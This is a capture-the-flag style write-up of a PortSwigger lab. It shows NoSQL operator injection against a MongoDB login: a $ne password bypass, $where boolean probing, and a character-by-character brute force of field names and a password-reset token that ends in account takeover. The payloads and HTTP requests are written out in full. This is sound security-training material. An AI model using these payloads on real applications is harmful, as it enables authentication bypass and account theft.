← Back to Writeups
PORTSWIGGERN/ANoSQL injection

Exploiting NoSQL operator injection to extract unknown fields

XESXOR9/2/20265 min read
#nosql injection#portswigger#web-security-academy#nosql-injection

Exploiting NoSQL operator injection to extract unknown fields

Platform: PortSwigger | Category: NoSQL injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, NoSQL injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab Exploiting NoSQL operator injection to extract unknown fields (NoSQL injection). This lab demonstrates a nosql injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — NoSQL injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Overview :

Identifying field names

Because MongoDB handles semi-structured data that doesn't require a fixed schema, you may need to identify valid fields in the collection before you can extract data using JavaScript injection.

For example, to identify whether the MongoDB database contains a password field, you could submit the following payload:

https://insecure-website.com/user/lookup?username=admin'+%26%26+this.password!%3d'

Send the payload again for an existing field and for a field that doesn't exist. In this example, you know that the username field exists, so you could send the following payloads:

admin' && this.username!='
admin' && this.foo!='

If the password field exists, you'd expect the response to be identical to the response for the existing field (username), but different to the response for the field that doesn't exist (foo).

Exploiting NoSQL operator injection to extract data ?

Even if the original query doesn't use any operators that enable you to run arbitrary JavaScript, you may be able to inject one of these operators yourself. You can then use boolean conditions to determine whether the application executes any JavaScript that you inject via this operator.

Extracting field names

If you have injected an operator that enables you to run JavaScript, you may be able to use the keys() method to extract the name of data fields. For example, you could submit the following payload:

nosql
"$where":"Object.keys(this)[0].match('^.{0}a.*')"

This inspects the first data field in the user object and returns the first character of the field name. This enables you to extract the field name character by character.

Solution :

Try to login with carlos & some random password. The following is hte request being sent.

http
POST /login HTTP/1.1
Host: 0aed0048046cb4b984524c2d00d400a3.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aed0048046cb4b984524c2d00d400a3.web-security-academy.net/login
Content-Type: application/json
Content-Length: 39
Origin: https://0aed0048046cb4b984524c2d00d400a3.web-security-academy.net
Connection: close
Cookie: session=Io6bfEgzmpTHn5IecCSuPDjHLIcB4DhP
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{
"username":"carlos",
"password":"asfd"
}

Modify the request by adding {"$ne" : "invalid"} in the password field & see if we can bypass the login of carlos.

json
{
"username":"carlos",
"password":{"$ne" :"invalid"}
}

But we get a response saying that Account is locked.Please reset the password.

image

Injecting $where operator in JSON body -

  • Injecting "$where" : "1"

Request -

json
{
"username":"carlos",
"password":{"$ne" :"invalid"},
"$where": "1"
}

Response -

image

Here we get Account locked in response.

  • Injecting "$where" : "0"

Request -

json
{
"username":"carlos",
"password":{"$ne" :"invalid"},
"$where": "0"
}

Response -

image

Here we get a different response - Invalid username/password.

Extracting available field names -

Send the above request to repeater.

  • Replace the $where parameter with this "$where":"Object.keys(this)[0].match('^.{}.*')" .
  • Add 2 payload positions to bruteforce - "$where":"Object.keys(this)[0].match('^.{§§}§§.*')"
  1. "$where": This is a key in a JSON object, and it seems to be used to define a condition or filter.

  2. "Object.keys(this)[0]": This part of the expression is JavaScript code, not a regular expression. It's using the Object.keys(this) function to get an array of keys of the current object (this), and then [0] is used to access the first key in that array. So, it's essentially accessing the first key in the current object.

Set Attack Type - Cluster Bomb Payload 1 - Numbers from 0-20 Payload 2 - Simple list - a-z, A-Z, 0-9

Once the attack is over, sort Payload1 & Length to find the 1st key field which is id.

image

  • Repeat the attack by changing hte position from 1 to 2 in the array - "$where":"Object.keys(this)[1].match('^.{§§}§§.*')"

This time we got the value of 2nd key - username

image

  • Repeat the process for 3nd key field, we got the value of 3rd field as - password

image

  • Repeat the process for 4th key field, we got the value of 4th field as - newpwdTkn

Before bruteforcing the 4th field (which most probably is the password reset field), make sure to send a password reset link for carlos before performing the bruteforce for 4th field. Else you will get 500 Internal server error when you bruteforce.

image

image

Bruteforcing the password reset token -

So where can we use the following fields which we identified? Possibly the forgot-password request.

Send the GET /forgot-password request to repeater. Add the parameter ?newpwdTkn=<invalid-token>.In the response, we get Invalid token as expected.

image

Now we need to bruteforce and find the newPwdTkn value

Now update the where operator in the intruder tab as follows ,

json
"$where":"this.newpwdTkn.match('^.{§§}§§.*')"

Start the attack.

Now we got the value of the token - **d977a5180c87a6a8**

image

Reset carlos's password using the token -

Use the url to reset carlos's password - https://0af8009a03483ec483bd199400c3006c.web-security-academy.net/forgot-password?newPwdTkn=d977a5180c87a6a8

In this case , I modified it to test.

image

Now login as carlos to solve the lab.

image

Key Takeaways / Lessons

  • Understanding NoSQL injection detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Exploiting NoSQL operator injection to extract unknown fields